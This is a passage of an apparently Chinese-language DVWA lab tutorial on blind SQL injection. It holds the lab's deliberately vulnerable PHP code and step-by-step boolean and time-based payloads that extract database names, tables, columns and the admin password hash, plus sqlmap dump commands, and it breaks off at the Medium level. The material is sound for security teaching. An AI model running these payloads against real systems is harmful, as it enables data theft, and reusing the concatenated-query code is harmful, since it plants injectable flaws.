    <content type="html"><![CDATA[<h2 id="目录"><a href="#目录" class="headerlink" title="目录"></a>目录</h2><ul><li><a href="#%E6%BC%8F%E6%B4%9E%E7%AE%80%E4%BB%8B">漏洞简介</a></li><li><a href="#low-%E9%9A%BE%E5%BA%A6">Low 难度</a></li><li><a href="#medium-%E9%9A%BE%E5%BA%A6">Medium 难度</a></li><li><a href="#high-%E9%9A%BE%E5%BA%A6">High 难度</a></li><li><a href="#impossible-%E9%9A%BE%E5%BA%A6">Impossible 难度</a></li><li><a href="#%E9%98%B2%E5%BE%A1%E5%BB%BA%E8%AE%AE">防御建议</a></li></ul><hr><h2 id="漏洞简介"><a href="#漏洞简介" class="headerlink" title="漏洞简介"></a>漏洞简介</h2><h3 id="什么是盲注（Blind-SQL-Injection）？"><a href="#什么是盲注（Blind-SQL-Injection）？" class="headerlink" title="什么是盲注（Blind SQL Injection）？"></a>什么是盲注（Blind SQL Injection）？</h3><p>盲注是一种SQL注入攻击，应用程序不直接返回数据库查询结果或错误信息，攻击者必须通过应用程序的不同响应（如页面内容、HTTP状态码、响应时间）来推断数据库信息。</p><p><strong>与普通SQL注入的区别：</strong></p><table><thead><tr><th>特性</th><th>普通SQL注入</th><th>盲注</th></tr></thead><tbody><tr><td>错误信息</td><td>直接显示</td><td>不显示</td></tr><tr><td>查询结果</td><td>直接返回</td><td>不返回</td></tr><tr><td>利用方式</td><td>UNION查询</td><td>布尔&#x2F;时间盲注</td></tr><tr><td>攻击难度</td><td>较低</td><td>较高</td></tr><tr><td>攻击速度</td><td>快</td><td>慢（需逐字符猜测）</td></tr></tbody></table><p><strong>盲注的类型：</strong></p><h3 id="1-布尔盲注（Boolean-based-Blind-SQL-Injection）"><a href="#1-布尔盲注（Boolean-based-Blind-SQL-Injection）" class="headerlink" title="1. 布尔盲注（Boolean-based Blind SQL Injection）"></a>1. 布尔盲注（Boolean-based Blind SQL Injection）</h3><p>通过True&#x2F;False条件判断，观察页面响应的差异：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 测试条件</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND 1=1 --   → 返回True（页面正常）</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="number">1</span><span class="operator">=</span><span class="number">2</span> <span class="comment">--   → 返回False（页面异常）</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 猜测数据</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)=&#x27;</span>a<span class="string">&#x27; --</span></span><br></pre></td></tr></table></figure><p><strong>判断依据：</strong></p><ul><li>页面内容不同（如”User exists”或”User not found”）</li><li>HTTP状态码不同</li><li>页面长度不同</li></ul><h3 id="2-时间盲注（Time-based-Blind-SQL-Injection）"><a href="#2-时间盲注（Time-based-Blind-SQL-Injection）" class="headerlink" title="2. 时间盲注（Time-based Blind SQL Injection）"></a>2. 时间盲注（Time-based Blind SQL Injection）</h3><p>通过数据库延时函数，观察响应时间：</p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- MySQL</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SLEEP(5) --   → 延迟5秒</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> IF(<span class="number">1</span><span class="operator">=</span><span class="number">1</span>, SLEEP(<span class="number">5</span>), <span class="number">0</span>) <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 猜测数据</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND IF((SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)=&#x27;</span>a<span class="string">&#x27;, SLEEP(5), 0) --</span></span><br></pre></td></tr></table></figure><p><strong>判断依据：</strong></p><ul><li>响应时间差异（延迟 vs 正常）</li></ul><p><strong>危害：</strong></p><ul><li>获取数据库内容（用户名、密码等）</li><li>确定数据库类型和版本</li><li>枚举数据库结构</li><li>获取敏感配置信息</li><li>完全控制数据库</li></ul><p><strong>DVWA场景：</strong><br>通过用户ID查询用户信息，应用只显示”User exists”或”User not found”。</p><hr><h2 id="Low-难度"><a href="#Low-难度" class="headerlink" title="Low 难度"></a>Low 难度</h2><h3 id="攻击目标"><a href="#攻击目标" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>完全未过滤，可进行布尔盲注和时间盲注。</p><h3 id="后端代码分析"><a href="#后端代码分析" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="comment">// 检查是否提交了表单</span></span><br><span class="line"><span class="comment">// isset() - 检查变量是否存在</span></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_GET</span>[ <span class="string">&#x27;Submit&#x27;</span> ] ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接获取用户输入，无任何过滤 ★★★</span></span><br><span class="line">    <span class="comment">// $_GET[&#x27;id&#x27;] - 从URL获取id参数</span></span><br><span class="line">    <span class="comment">// trim() - 只是去除首尾空格，不做任何安全处理</span></span><br><span class="line">    <span class="comment">// mysql_real_escape_string() - 只防单引号，不够安全</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 问题：</span></span><br><span class="line">    <span class="comment">// 1. 没有参数化查询</span></span><br><span class="line">    <span class="comment">// 2. 直接拼接SQL</span></span><br><span class="line">    <span class="comment">// 3. 虽然使用了mysql_real_escape_string()，但在某些情况下仍可绕过</span></span><br><span class="line">    <span class="variable">$id</span> = <span class="variable">$_GET</span>[ <span class="string">&#x27;id&#x27;</span> ];</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 危险操作：直接拼接SQL语句 ★★★</span></span><br><span class="line">    <span class="comment">// SELECT first_name, last_name FROM users WHERE user_id = &#x27;$id&#x27;</span></span><br><span class="line">    <span class="comment">//</span></span><br><span class="line">    <span class="comment">// 漏洞：攻击者可以注入任意SQL代码</span></span><br><span class="line">    <span class="comment">// 例如：$id = &quot;1&#x27; AND 1=1 --&quot;</span></span><br><span class="line">    <span class="comment">// 结果：SELECT first_name, last_name FROM users WHERE user_id = &#x27;1&#x27; AND 1=1 --&#x27;</span></span><br><span class="line">    <span class="variable">$query</span>  = <span class="string">&quot;SELECT first_name, last_name FROM users WHERE user_id = &#x27;<span class="subst">$id</span>&#x27;;&quot;</span>;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 执行SQL查询</span></span><br><span class="line">    <span class="comment">// mysql_query() - 执行MySQL查询（已弃用）</span></span><br><span class="line">    <span class="comment">// 返回结果集资源</span></span><br><span class="line">    <span class="variable">$result</span> = <span class="title function_ invoke__">mysql_query</span>( <span class="variable">$query</span> ) <span class="keyword">or</span> <span class="keyword">die</span>( <span class="string">&#x27;&lt;pre&gt;&#x27;</span> . <span class="title function_ invoke__">mysql_error</span>() . <span class="string">&#x27;&lt;/pre&gt;&#x27;</span> );</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 问题：不显示具体数据，只显示是否存在 ★★★</span></span><br><span class="line">    <span class="comment">// mysql_num_rows() - 返回结果集的行数</span></span><br><span class="line">    <span class="comment">// 这就是&quot;盲注&quot;的原因：</span></span><br><span class="line">    <span class="comment">// - 如果有结果：显示&quot;User ID exists&quot;</span></span><br><span class="line">    <span class="comment">// - 如果无结果：显示&quot;User ID not found&quot;</span></span><br><span class="line">    <span class="comment">// - 攻击者只能通过这两种响应来推断信息</span></span><br><span class="line">    <span class="keyword">if</span>( <span class="title function_ invoke__">mysql_num_rows</span>( <span class="variable">$result</span> ) &gt; <span class="number">0</span> ) &#123;</span><br><span class="line">        <span class="comment">// 用户存在</span></span><br><span class="line">        <span class="comment">// ★★★ 不显示具体的first_name和last_name ★★★</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;User ID exists in the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">else</span> &#123;</span><br><span class="line">        <span class="comment">// 用户不存在</span></span><br><span class="line">        <span class="keyword">echo</span> <span class="string">&#x27;&lt;pre&gt;User ID is MISSING from the database.&lt;/pre&gt;&#x27;</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// 关闭数据库连接</span></span><br><span class="line">    <span class="title function_ invoke__">mysql_close</span>();</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="meta">?&gt;</span></span><br></pre></td></tr></table></figure><p><strong>HTML表单：</strong></p><figure class="highlight html"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="tag">&lt;<span class="name">form</span> <span class="attr">name</span>=<span class="string">&quot;form1&quot;</span> <span class="attr">action</span>=<span class="string">&quot;#&quot;</span> <span class="attr">method</span>=<span class="string">&quot;GET&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;<span class="name">p</span>&gt;</span></span><br><span class="line">        User ID:</span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;text&quot;</span> <span class="attr">name</span>=<span class="string">&quot;id&quot;</span> <span class="attr">size</span>=<span class="string">&quot;15&quot;</span>&gt;</span></span><br><span class="line">        <span class="tag">&lt;<span class="name">input</span> <span class="attr">type</span>=<span class="string">&quot;submit&quot;</span> <span class="attr">name</span>=<span class="string">&quot;Submit&quot;</span> <span class="attr">value</span>=<span class="string">&quot;Submit&quot;</span>&gt;</span></span><br><span class="line">    <span class="tag">&lt;/<span class="name">p</span>&gt;</span></span><br><span class="line"><span class="tag">&lt;/<span class="name">form</span>&gt;</span></span><br></pre></td></tr></table></figure><h3 id="漏洞分析"><a href="#漏洞分析" class="headerlink" title="漏洞分析"></a>漏洞分析</h3><p><strong>核心问题：</strong></p><ol><li><strong>直接拼接SQL</strong> - 没有使用参数化查询</li><li><strong>不显示具体数据</strong> - 只返回存在&#x2F;不存在</li><li><strong>显示错误信息</strong> - <code>or die(mysql_error())</code>暴露数据库信息</li><li><strong>无输入验证</strong> - 接受任意输入</li></ol><p><strong>数据流向：</strong></p><figure class="highlight autoit"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">用户输入($_GET[<span class="string">&#x27;id&#x27;</span>])</span><br><span class="line">    ↓</span><br><span class="line">直接拼接到SQL</span><br><span class="line">    ↓</span><br><span class="line">执行查询</span><br><span class="line">    ↓</span><br><span class="line">只返回<span class="literal">True</span>/<span class="literal">False</span></span><br></pre></td></tr></table></figure><h3 id="攻击步骤"><a href="#攻击步骤" class="headerlink" title="攻击步骤"></a>攻击步骤</h3><h4 id="步骤1：测试SQL注入漏洞"><a href="#步骤1：测试SQL注入漏洞" class="headerlink" title="步骤1：测试SQL注入漏洞"></a>步骤1：测试SQL注入漏洞</h4><p><strong>测试1：基础测试</strong></p><figure class="highlight crmsh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line">输入: <span class="number">1</span>&#x27;</span><br><span class="line">结果: MySQL错误（说明有SQL注入）</span><br><span class="line"></span><br><span class="line">输入: <span class="number">1</span>&#x27; <span class="keyword">AND</span> &#x27;<span class="number">1</span>&#x27;=&#x27;<span class="number">1</span></span><br><span class="line">结果: <span class="keyword">User</span> <span class="title">ID</span> exists（<span class="literal">True</span>）</span><br><span class="line"></span><br><span class="line">输入: <span class="number">1</span>&#x27; <span class="keyword">AND</span> &#x27;<span class="number">1</span>&#x27;=&#x27;<span class="number">2</span></span><br><span class="line">结果: <span class="keyword">User</span> <span class="title">ID</span> not found（<span class="literal">False</span>）</span><br><span class="line"></span><br><span class="line">结论：存在布尔盲注漏洞</span><br></pre></td></tr></table></figure><h4 id="步骤2：布尔盲注-确定数据库信息"><a href="#步骤2：布尔盲注-确定数据库信息" class="headerlink" title="步骤2：布尔盲注 - 确定数据库信息"></a>步骤2：布尔盲注 - 确定数据库信息</h4><p><strong>测试数据库版本：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 测试MySQL版本是否&gt;5</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND (SELECT SUBSTRING(@@version,1,1))&gt;&#x27;</span><span class="number">5</span><span class="string">&#x27; --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">True → 版本&gt;5</span></span><br><span class="line"><span class="string">False → 版本&lt;=5</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 逐字符猜测版本号</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> (<span class="keyword">SELECT</span> <span class="built_in">SUBSTRING</span>(@<span class="variable">@version</span>,<span class="number">1</span>,<span class="number">1</span>))<span class="operator">=</span><span class="string">&#x27;5&#x27;</span> <span class="comment">--</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND (SELECT SUBSTRING(@@version,3,1))=&#x27;</span><span class="number">7</span><span class="string">&#x27; --</span></span><br><span class="line"><span class="string">...</span></span><br></pre></td></tr></table></figure><p><strong>测试数据库名称长度：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 数据库名长度是否&gt;5</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND LENGTH(database())&gt;5 --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 二分法确定长度</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> LENGTH(database())<span class="operator">&gt;</span><span class="number">10</span> <span class="comment">--  → False</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND LENGTH(database())&gt;5 --   → True</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> LENGTH(database())<span class="operator">&gt;</span><span class="number">7</span> <span class="comment">--   → False</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND LENGTH(database())=6 --   → True</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">结论：数据库名长度为6</span></span><br></pre></td></tr></table></figure><p><strong>猜测数据库名（逐字符）：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 第一个字符</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SUBSTRING(database(),1,1)=&#x27;</span>a<span class="string">&#x27; --  → False</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="built_in">SUBSTRING</span>(database(),<span class="number">1</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;b&#x27;</span> <span class="comment">--  → False</span></span><br><span class="line">...</span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SUBSTRING(database(),1,1)=&#x27;</span>d<span class="string">&#x27; --  → True</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 第二个字符</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="built_in">SUBSTRING</span>(database(),<span class="number">2</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;v&#x27;</span> <span class="comment">--  → True</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 继续...最终得到：dvwa</span></span><br></pre></td></tr></table></figure><h4 id="步骤3：枚举数据库表"><a href="#步骤3：枚举数据库表" class="headerlink" title="步骤3：枚举数据库表"></a>步骤3：枚举数据库表</h4><p><strong>获取表名数量：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 测试表数量</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())&gt;1 --</span></span><br></pre></td></tr></table></figure><p><strong>获取第一个表名：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 表名长度</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND LENGTH((SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT 0,1))=9 --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 第一个字符</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="built_in">SUBSTRING</span>((<span class="keyword">SELECT</span> table_name <span class="keyword">FROM</span> information_schema.tables <span class="keyword">WHERE</span> table_schema<span class="operator">=</span>database() LIMIT <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;g&#x27;</span> <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 继续...得到：guestbook</span></span><br></pre></td></tr></table></figure><h4 id="步骤4：枚举表的列名"><a href="#步骤4：枚举表的列名" class="headerlink" title="步骤4：枚举表的列名"></a>步骤4：枚举表的列名</h4><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- users表的列数</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND (SELECT COUNT(*) FROM information_schema.columns WHERE table_name=&#x27;</span>users<span class="string">&#x27; AND table_schema=database())&gt;5 --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 第一个列名</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="built_in">SUBSTRING</span>((<span class="keyword">SELECT</span> column_name <span class="keyword">FROM</span> information_schema.columns <span class="keyword">WHERE</span> table_name<span class="operator">=</span><span class="string">&#x27;users&#x27;</span> LIMIT <span class="number">0</span>,<span class="number">1</span>),<span class="number">1</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;u&#x27;</span> <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 继续...得到：user_id, first_name, last_name, user, password, avatar...</span></span><br></pre></td></tr></table></figure><h4 id="步骤5：提取数据"><a href="#步骤5：提取数据" class="headerlink" title="步骤5：提取数据"></a>步骤5：提取数据</h4><p><strong>获取admin密码（逐字符）：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 密码长度</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND LENGTH((SELECT password FROM users WHERE user=&#x27;</span>admin<span class="string">&#x27;))=32 --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 第一个字符</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> <span class="built_in">SUBSTRING</span>((<span class="keyword">SELECT</span> password <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> <span class="keyword">user</span><span class="operator">=</span><span class="string">&#x27;admin&#x27;</span>),<span class="number">1</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;5&#x27;</span> <span class="comment">--</span></span><br><span class="line"></span><br><span class="line"><span class="comment">-- 第二个字符</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SUBSTRING((SELECT password FROM users WHERE user=&#x27;</span>admin<span class="string">&#x27;),2,1)=&#x27;</span>f<span class="string">&#x27; --</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 继续...得到完整MD5哈希</span></span><br></pre></td></tr></table></figure><h4 id="步骤6：时间盲注（当布尔盲注不可用时）"><a href="#步骤6：时间盲注（当布尔盲注不可用时）" class="headerlink" title="步骤6：时间盲注（当布尔盲注不可用时）"></a>步骤6：时间盲注（当布尔盲注不可用时）</h4><p><strong>测试时间盲注：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 基础测试</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND SLEEP(5) --</span></span><br><span class="line"><span class="string">结果：响应延迟5秒</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 条件时间盲注</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> IF(<span class="number">1</span><span class="operator">=</span><span class="number">1</span>, SLEEP(<span class="number">5</span>), <span class="number">0</span>) <span class="comment">--  → 延迟5秒（True）</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND IF(1=2, SLEEP(5), 0) --  → 立即响应（False）</span></span><br></pre></td></tr></table></figure><p><strong>使用时间盲注提取数据：</strong></p><figure class="highlight sql"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">-- 数据库名第一个字符是&#x27;d&#x27;</span></span><br><span class="line"><span class="number">1</span><span class="string">&#x27; AND IF(SUBSTRING(database(),1,1)=&#x27;</span>d<span class="string">&#x27;, SLEEP(5), 0) --</span></span><br><span class="line"><span class="string">响应慢 → True</span></span><br><span class="line"><span class="string">响应快 → False</span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">-- 提取密码</span></span><br><span class="line"><span class="string">1&#x27;</span> <span class="keyword">AND</span> IF(<span class="built_in">SUBSTRING</span>((<span class="keyword">SELECT</span> password <span class="keyword">FROM</span> users <span class="keyword">WHERE</span> <span class="keyword">user</span><span class="operator">=</span><span class="string">&#x27;admin&#x27;</span>),<span class="number">1</span>,<span class="number">1</span>)<span class="operator">=</span><span class="string">&#x27;5&#x27;</span>, SLEEP(<span class="number">5</span>), <span class="number">0</span>) <span class="comment">--</span></span><br></pre></td></tr></table></figure><h4 id="步骤7：使用SQLMap自动化"><a href="#步骤7：使用SQLMap自动化" class="headerlink" title="步骤7：使用SQLMap自动化"></a>步骤7：使用SQLMap自动化</h4><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># 基本扫描</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/vulnerabilities/sqli_blind/?id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">       --cookie=<span class="string">&quot;security=low; PHPSESSID=your_session&quot;</span> \</span><br><span class="line">       --batch</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取数据库名</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/vulnerabilities/sqli_blind/?id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">       --cookie=<span class="string">&quot;security=low; PHPSESSID=your_session&quot;</span> \</span><br><span class="line">       --dbs</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取表名</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/vulnerabilities/sqli_blind/?id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">       --cookie=<span class="string">&quot;security=low; PHPSESSID=your_session&quot;</span> \</span><br><span class="line">       -D dvwa --tables</span><br><span class="line"></span><br><span class="line"><span class="comment"># 获取列名</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/vulnerabilities/sqli_blind/?id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">       --cookie=<span class="string">&quot;security=low; PHPSESSID=your_session&quot;</span> \</span><br><span class="line">       -D dvwa -T <span class="built_in">users</span> --columns</span><br><span class="line"></span><br><span class="line"><span class="comment"># 导出数据</span></span><br><span class="line">sqlmap -u <span class="string">&quot;http://dvwa.local/vulnerabilities/sqli_blind/?id=1&amp;Submit=Submit&quot;</span> \</span><br><span class="line">       --cookie=<span class="string">&quot;security=low; PHPSESSID=your_session&quot;</span> \</span><br><span class="line">       -D dvwa -T <span class="built_in">users</span> --dump</span><br></pre></td></tr></table></figure><hr><h2 id="Medium-难度"><a href="#Medium-难度" class="headerlink" title="Medium 难度"></a>Medium 难度</h2><h3 id="攻击目标-1"><a href="#攻击目标-1" class="headerlink" title="攻击目标"></a>攻击目标</h3><p>使用了mysqli和简单过滤，但仍可进行盲注。</p><h3 id="后端代码分析-1"><a href="#后端代码分析-1" class="headerlink" title="后端代码分析"></a>后端代码分析</h3><figure class="highlight php"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">&lt;?php</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span>( <span class="keyword">isset</span>( <span class="variable">$_POST</span>[ <span class="string">&#x27;Submit&#x27;</span> ]  ) ) &#123;</span><br><span class="line"></span><br><span class="line">    <span class="comment">// ★★★ 改进1：从POST获取数据（而不是GET） ★★★</span></span><br><span class="line">    <span 